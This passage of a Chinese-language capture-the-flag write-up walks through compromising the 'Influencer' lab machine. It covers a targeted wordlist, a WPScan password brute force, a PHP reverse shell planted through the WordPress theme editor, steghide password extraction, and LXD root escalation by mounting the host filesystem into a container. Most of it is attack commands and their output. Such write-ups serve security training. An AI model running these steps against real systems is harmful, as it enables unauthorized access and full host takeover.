150 Opening BINARY mode data connection for github.jpg (35427 bytes).
100% |***************************************************************| 35427       53.45 MiB/s    00:00 ETA
226 Transfer complete.
35427 bytes received in 00:00 (42.07 MiB/s)
mget instagram.jpg [anpqy?]? 
229 Entering Extended Passive Mode (|||12224|)
150 Opening BINARY mode data connection for instagram.jpg (88816 bytes).
100% |***************************************************************| 88816       63.92 MiB/s    00:00 ETA
226 Transfer complete.
88816 bytes received in 00:00 (54.68 MiB/s)
mget linkedin.jpg [anpqy?]? 
229 Entering Extended Passive Mode (|||40056|)
150 Opening BINARY mode data connection for linkedin.jpg (27159 bytes).
100% |***************************************************************| 27159       52.32 MiB/s    00:00 ETA
226 Transfer complete.
27159 bytes received in 00:00 (38.03 MiB/s)
mget note.txt [anpqy?]? 
229 Entering Extended Passive Mode (|||54131|)
150 Opening BINARY mode data connection for note.txt (28 bytes).
100% |***************************************************************|    28       54.68 KiB/s    00:00 ETA
226 Transfer complete.
28 bytes received in 00:00 (30.34 KiB/s)
mget snapchat.jpg [anpqy?]? 
229 Entering Extended Passive Mode (|||51457|)
150 Opening BINARY mode data connection for snapchat.jpg (124263 bytes).
100% |***************************************************************|   121 KiB   91.58 MiB/s    00:00 ETA
226 Transfer complete.
124263 bytes received in 00:00 (79.21 MiB/s)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Influencer-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# cat note.txt  
- Change wordpress password       
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80端口&lt;/h2&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u http://192.168.0.109
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.0.103/_26-01-12_12-51-34.txt

Target: http://192.168.0.103/

[12:51:34] Starting: 
[12:51:35] 403 -  278B  - /.ht_wsr.txt                                      
[12:51:35] 403 -  278B  - /.htaccess.bak1                                   
[12:51:35] 403 -  278B  - /.htaccess.sample                                 
[12:51:35] 403 -  278B  - /.htaccess.orig
[12:51:35] 403 -  278B  - /.htaccess.save                                   
[12:51:35] 403 -  278B  - /.htaccess_extra                                  
[12:51:35] 403 -  278B  - /.htaccess_orig
[12:51:35] 403 -  278B  - /.htaccess_sc
[12:51:35] 403 -  278B  - /.htaccessBAK
[12:51:35] 403 -  278B  - /.htaccessOLD2
[12:51:35] 403 -  278B  - /.htaccessOLD
[12:51:35] 403 -  278B  - /.htm                                             
[12:51:35] 403 -  278B  - /.html                                            
[12:51:35] 403 -  278B  - /.htpasswd_test                                   
[12:51:35] 403 -  278B  - /.htpasswds
[12:51:35] 403 -  278B  - /.httr-oauth                                      
[12:51:35] 403 -  278B  - /.php                                             
[12:51:56] 403 -  278B  - /server-status                                    
[12:51:56] 403 -  278B  - /server-status/
[12:52:03] 200 -   13KB - /wordpress/                                        
[12:52:05] 200 -    2KB - /wordpress/wp-login.php

Task Completed 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;web界面&lt;/h3&gt;
&lt;p&gt;¡Hello world!&lt;/p&gt;
&lt;p&gt;luna Jun 8, 2023 1 Comments&lt;/p&gt;
&lt;p&gt;My name is Luna Shine, and I am thrilled to share my passion for fashion with all of you. Born on June 24, 1997, I have dedicated my life to…&lt;/p&gt;
&lt;p&gt;可以得出作者为Luna Shine生日为June 24, 1997&lt;/p&gt;
&lt;h3&gt;生成字典&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# cupp -i                
/usr/bin/cupp:146: SyntaxWarning: invalid escape sequence &amp;#39;\ &amp;#39;
  print(&amp;quot;      \                     # User&amp;quot;)
/usr/bin/cupp:147: SyntaxWarning: invalid escape sequence &amp;#39;\ &amp;#39;
  print(&amp;quot;       \   \033[1;31m,__,\033[1;m             # Passwords&amp;quot;)
/usr/bin/cupp:148: SyntaxWarning: invalid escape sequence &amp;#39;\ &amp;#39;
  print(&amp;quot;        \  \033[1;31m(\033[1;moo\033[1;31m)____\033[1;m         # Profiler&amp;quot;)
/usr/bin/cupp:149: SyntaxWarning: invalid escape sequence &amp;#39;\ &amp;#39;
  print(&amp;quot;           \033[1;31m(__)    )\ \033[1;m  &amp;quot;)
 ___________ 
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\   
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don&amp;#39;t know all the info, just hit enter when asked! ;)

&amp;gt; First Name: luna
&amp;gt; Surname: shine
&amp;gt; Nickname: 
&amp;gt; Birthdate (DDMMYYYY): 24061997


&amp;gt; Partners) name: 
&amp;gt; Partners) nickname: 
&amp;gt; Partners) birthdate (DDMMYYYY): 


&amp;gt; Child&amp;#39;s name: 
&amp;gt; Child&amp;#39;s nickname: 
&amp;gt; Child&amp;#39;s birthdate (DDMMYYYY): 


&amp;gt; Pet&amp;#39;s name: 
&amp;gt; Company name: 


&amp;gt; Do you want to add some key words about the victim? Y/[N]: 
&amp;gt; Do you want to add special chars at the end of words? Y/[N]: 
&amp;gt; Do you want to add some random numbers at the end of words? Y/[N]:
&amp;gt; Leet mode? (i.e. leet = 1337) Y/[N]: 

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to luna.txt, counting 2574 words.
[+] Now load your pistolero with luna.txt and shoot! Good luck!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;wpscan&lt;/h3&gt;
&lt;h4&gt;说明书&lt;/h4&gt;
&lt;h5&gt;1️⃣ 基本扫描（看看是不是 WordPress）&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wpscan --url http://目标/wordpress/
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h5&gt;2️⃣ 枚举用户（最重要）&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wpscan --url http://目标/wordpress/ -e u
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 找后台用户名&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;3️⃣ 枚举插件 + 主题（可选）&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wpscan --url http://目标/wordpress/ -e p,t
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h5&gt;4️⃣ 枚举用户 + 爆破（常用）&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wpscan --url http://目标/wordpress/ -e u -P passwords.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 自动用 XML-RPC / 登录页试密码&lt;/p&gt;
&lt;hr&gt;
&lt;h5&gt;5️⃣ 指定用户名爆破&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wpscan --url http://目标/wordpress/ -U admin -P passwords.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h5&gt;6️⃣ 加 API Token（推荐）&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;wpscan --url http://目标/wordpress/ -e u --api-token TOKEN&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;基本扫描&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# wpscan --url http://192.168.0.109/wordpress 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | &amp;#39;_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.0.109/wordpress/ [192.168.0.109]
[+] Started: Mon Jan 12 23:06:26 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.52 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.0.109/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.0.109/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.0.109/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.0.109/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.9 identified (Latest, released on 2025-12-02).
 | Found By: Rss Generator (Passive Detection)
 |  - http://192.168.0.109/wordpress/index.php/feed/, &amp;lt;generator&amp;gt;https://wordpress.org/?v=6.9&amp;lt;/generator&amp;gt;
 |  - http://192.168.0.109/wordpress/index.php/comments/feed/, &amp;lt;generator&amp;gt;https://wordpress.org/?v=6.9&amp;lt;/generator&amp;gt;

[+] WordPress theme in use: blogarise
 | Location: http://192.168.0.109/wordpress/wp-content/themes/blogarise/
 | Last Updated: 2026-01-12T00:00:00.000Z
 | Readme: http://192.168.0.109/wordpress/wp-content/themes/blogarise/readme.txt
 | [!] The version is out of date, the latest version is 1.5.0
 | Style URL: http://192.168.0.109/wordpress/wp-content/themes/blogarise/style.css?ver=6.9
 | Style Name: BlogArise
 | Style URI: https://themeansar.com/free-themes/blogarise/
 | Description: BlogArise is a fast, clean, modern-looking Best Responsive News Magazine WordPress theme. The theme ...
 | Author: Themeansar
 | Author URI: http://themeansar.com
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 0.7 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.0.109/wordpress/wp-content/themes/blogarise/style.css?ver=6.9, Match: &amp;#39;Version: 0.7&amp;#39;

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 &amp;lt;=============================&amp;gt; (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Jan 12 23:06:29 2026
[+] Requests Done: 170
[+] Cached Requests: 5
[+] Data Sent: 46.919 KB
[+] Data Received: 358.4 KB
[+] Memory used: 267.211 MB
[+] Elapsed time: 00:00:03
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;XML-RPC 开启（最重要）&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;XML-RPC seems to be enabled
http://192.168.0.109/wordpress/xmlrpc.php
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;这意味着你可以：&lt;/h5&gt;
&lt;h6&gt;✅ 枚举用户&lt;/h6&gt;
&lt;h6&gt;✅ 绕过登录限制进行爆破&lt;/h6&gt;
&lt;h6&gt;✅ Pingback SSRF（少见，但要试）&lt;/h6&gt;
&lt;h4&gt;枚举用户&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;-e&lt;/code&gt; 是 &lt;strong&gt;enumerate（枚举）&lt;/strong&gt; 的缩写  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wpscan --url http://192.168.0.109/wordpress -e u
[i] User(s) Identified:

[+] luna
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://192.168.0.109/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&amp;amp;page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Jan 12 23:07:31 2026
[+] Requests Done: 23
[+] Cached Requests: 36
[+] Data Sent: 6.698 KB
[+] Data Received: 84.834 KB
[+] Memory used: 187.789 MB
[+] Elapsed time: 00:00:02
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;登录爆破&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# wpscan --url http://192.168.0.109/wordpress -e u -P luna.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | &amp;#39;_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.0.109/wordpress/ [192.168.0.109]
[+] Started: Mon Jan 12 23:10:46 2026

Interesting Finding(s):

[+] luna
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://192.168.0.109/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&amp;amp;page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - luna / luna_1997                                                                                
Trying luna / luna_1997 Time: 00:00:38 &amp;lt;=============                  &amp;gt; (2120 / 4694) 45.16%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: luna, Password: luna_1997

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Jan 12 23:11:27 2026
[+] Requests Done: 2134
[+] Cached Requests: 46
[+] Data Sent: 762.29 KB
[+] Data Received: 14.662 MB
[+] Memory used: 205.406 MB
[+] Elapsed time: 00:00:41
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到了一份登录凭据luna/luna_1997&lt;/p&gt;
&lt;p&gt;通常 WordPress 后台默认路径是：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://$IP/wordpress/wp-admin/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Influencer-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在Theme File Editor功能点处将index.php写入phpshell文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 8888
/root/.pyenv/versions/3.11.9/envs/web/lib/python3.11/site-packages/zodburi/__init__.py:2: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&amp;lt;81.
  from pkg_resources import iter_entry_points
[01:21:22] Welcome to pwncat 🐈!                                                             __main__.py:164
[01:21:24] received connection from 192.168.0.109:50744                                           bind.py:84
[01:21:24] 0.0.0.0:8888: upgrading from /usr/bin/dash to /usr/bin/bash                        manager.py:957
           192.168.0.109:50744: registered new host w/ db                                     manager.py:957
(local) pwncat$ back
(remote) www-data@influencer:/$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;图片隐写解密&lt;/h2&gt;
&lt;p&gt;在ftp中得到了一些图片，这里我们对其进行解密&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# steghide info snapchat.jpg                 
&amp;quot;snapchat.jpg&amp;quot;:
  format: jpeg
  capacity: 5.4 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file &amp;quot;backup.txt&amp;quot;:
    size: 44.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes
                                                                                                            
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# steghide extract -sf snapchat.jpg

Enter passphrase: 
wrote extracted data to &amp;quot;backup.txt&amp;quot;.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PASSWORD BACKUP
---------------

u3jkeg97gf
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;h2&gt;提权-lua&lt;/h2&gt;
&lt;p&gt;由于我们图片隐写提取出u3jkeg97gf所以尝试密码复用&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@influencer:/home$ ss -atlp
State       Recv-Q      Send-Q           Local Address:Port             Peer Address:Port      Process      
LISTEN      0           128                  127.0.0.1:1212                  0.0.0.0:*                      
LISTEN      0           32                     0.0.0.0:iprop                 0.0.0.0:*                      
LISTEN      0           80                   127.0.0.1:mysql                 0.0.0.0:*                      
LISTEN      0           4096             127.0.0.53%lo:domain                0.0.0.0:*                      
LISTEN      0           511                          *:http                        *:*                      
(remote) www-data@influencer:/home$ netstat -antlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:2121            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1212          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0    284 192.168.0.109:50744     192.168.0.106:8888      ESTABLISHED 12744/sh            
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       1      0 192.168.0.109:80        192.168.0.106:52386     CLOSE_WAIT  -                    *:*                      
www-data@influencer:/home$ nc 0.0.0.0 1212
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ss -atlp&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-a&lt;/code&gt;：显示所有 socket&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-t&lt;/code&gt;：只看 TCP&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-l&lt;/code&gt;：只看 LISTEN（监听）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p&lt;/code&gt;：显示进程（没权限会空）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;netstat -antlp&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-a&lt;/code&gt; all&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-n&lt;/code&gt; 不解析端口名&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-t&lt;/code&gt; TCP&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-l&lt;/code&gt; LISTEN&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p&lt;/code&gt; process（你没权限）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于该终端机器上无su功能，没办法切换用户&lt;/p&gt;
&lt;p&gt;同时外网扫描中未扫出ssh端口&lt;/p&gt;
&lt;p&gt;监听端口确定1212为ssh服务&lt;/p&gt;
&lt;p&gt;直接在靶机上ssh建立连接&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@influencer:/home$ ssh luna@0.0.0.0 -p 1212
The authenticity of host &amp;#39;[0.0.0.0]:1212 ([0.0.0.0]:1212)&amp;#39; can&amp;#39;t be established.
ED25519 key fingerprint is SHA256:uujkDI7HQ0Bk3td/3NfWys9FNY5cbT1zvGvXbluerAk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory &amp;#39;/var/www/.ssh&amp;#39; (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
luna@0.0.0.0&amp;#39;s password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of mar 13 ene 2026 06:48:21 UTC

  System load:  0.080078125        Processes:               123
  Usage of /:   54.7% of 11.21GB   Users logged in:         0
  Memory usage: 18%                IPv4 address for enp0s3: 192.168.0.109
  Swap usage:   0%


El mantenimiento de seguridad expandido para Applications está desactivado

Se pueden aplicar 0 actualizaciones de forma inmediata.

Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales.
Vea https://ubuntu.com/esm o ejecute «sudo pro status»


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Jun  9 10:12:13 2023
luna@influencer:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权-root&lt;/h2&gt;
&lt;h3&gt;方法一：lxd提权&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;luna@influencer:~$ sudo -l
Matching Defaults entries for luna on influencer:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User luna may run the following commands on influencer:
    (juan) NOPASSWD: /usr/bin/exiftool
luna@influencer:~$ id
uid=1000(luna) gid=1000(luna) groups=1000(luna),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;LXD 提权的本质原理（重点）&lt;/h4&gt;
&lt;p&gt;当普通用户 &lt;strong&gt;属于 &lt;strong&gt;&lt;code&gt;**lxd**&lt;/code&gt;&lt;/strong&gt; 组&lt;/strong&gt; 时，等同于拥有 &lt;strong&gt;宿主机 root 级别能力&lt;/strong&gt;，原因是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LXD 容器可以 &lt;strong&gt;挂载宿主机文件系统&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;容器内通常以 &lt;strong&gt;root&lt;/strong&gt; 运行&lt;/li&gt;
&lt;li&gt;一旦把宿主机 &lt;code&gt;/&lt;/code&gt; 挂载进容器，&lt;strong&gt;容器内 root = 宿主机 root&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;👉 所以：&lt;br&gt;&lt;code&gt;**lxd**&lt;/code&gt;** 组 ≈ 隐式 root**&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# cd Desktop/tools/lxd-alpine-builder 

┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/lxd-alpine-builder]
└─# python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
192.168.0.109 - - [13/Jan/2026 01:52:22] &amp;quot;GET /alpine-v3.23-x86_64-20260112_0553.tar.gz HTTP/1.1&amp;quot; 200 -
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;luna@influencer:/tmp$ wget http://192.168.0.106:8888/alpine-v3.23-x86_64-20260112_0553.tar.gz
--2026-01-13 06:52:32--  http://192.168.0.106:8888/alpine-v3.23-x86_64-20260112_0553.tar.gz
Connecting to 192.168.0.106:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4113983 (3,9M) [application/gzip]
Saving to: ‘alpine-v3.23-x86_64-20260112_0553.tar.gz’

alpine-v3.23-x86_64-202601 100%[========================================&amp;gt;]   3,92M  --.-KB/s    in 0,02s   

2026-01-13 06:52:32 (192 MB/s) - ‘alpine-v3.23-x86_64-20260112_0553.tar.gz’ saved [4113983/4113983]


&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1️⃣ 初始化 LXD（第一次必须做）&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;lxd init --auto
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h4&gt;2️⃣ 启动一个 特权容器&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;lxc launch ubuntu:22.04 pwned -c security.privileged=true
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h4&gt;3️⃣ 把 宿主机根目录 &lt;code&gt;/&lt;/code&gt; 挂载进容器&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;lxc config device add pwned hostroot disk source=/ path=/mnt/root recursive=true
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h4&gt;4️⃣ 进入容器（你现在是容器内 root）&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;lxc exec pwned /bin/bash&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;🎯 此时状态（非常关键）&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;你是：容器内 root
/mnt/root = 宿主机的 /
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;你已经拥有宿主机的完全控制权&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;✅ 直接拿宿主机 root shell（最快）&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;chroot /mnt/root /bin/bash&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;root@pwned:/home/juan# cat user.txt 
goodjobbro

root@pwned:~# cat rr00t.txt 
19283712487912
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;方法二&lt;/h3&gt;
&lt;h4&gt;提权juan&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;luna@influencer:~$ sudo -l
Matching Defaults entries for luna on influencer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User luna may run the following commands on influencer:
    (juan) NOPASSWD: /usr/bin/exiftool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://gtfobins.github.io/gtfobins/exiftool/#sudo&quot;&gt;https://gtfobins.github.io/gtfobins/exiftool/#sudo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;尝试进行读写 juan 的 ssh私钥：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Influencer-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt; 先本地生成一对密钥对&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kalikali)-[~/temp/Influencer]
└─$ ssh-keygen -t rsa -f /home/kali/temp/Influencer/juan
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/temp/Influencer/juan
Your public key has been saved in /home/kali/temp/Influencer/juan.pub
The key fingerprint is:
SHA256:/xMR+gJtJQiy8EhEtszHXYSkcsG5nJDhuiNWojzpqTk kali@kali
The key&amp;#39;s randomart image is:
+---[RSA 3072]----+
| oB+ooo+o.       |
| *o*o*... . o    |
|  BoBo.  . + .   |
| . ++   . + .    |
|.. .    So . .   |
|o.+      .. o    |
|==        .. .   |
|Eoo        ..    |
|++          ..   |
+----[SHA256]-----+
 
┌──(kalikali)-[~/temp/Influencer]
└─$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
192.168.0.139 - - [28/Apr/2024 08:22:18] &amp;quot;GET /juan HTTP/1.1&amp;quot; 200 -
192.168.0.139 - - [28/Apr/2024 08:22:22] &amp;quot;GET /juan.pub HTTP/1.1&amp;quot; 200 -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 尝试进行提权 &lt;code&gt;juan&lt;/code&gt; 用户：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;luna@influencer:/tmp$ wget http://192.168.0.143:8888/juan
--2024-04-28 12:22:19--  http://192.168.0.143:8888/juan
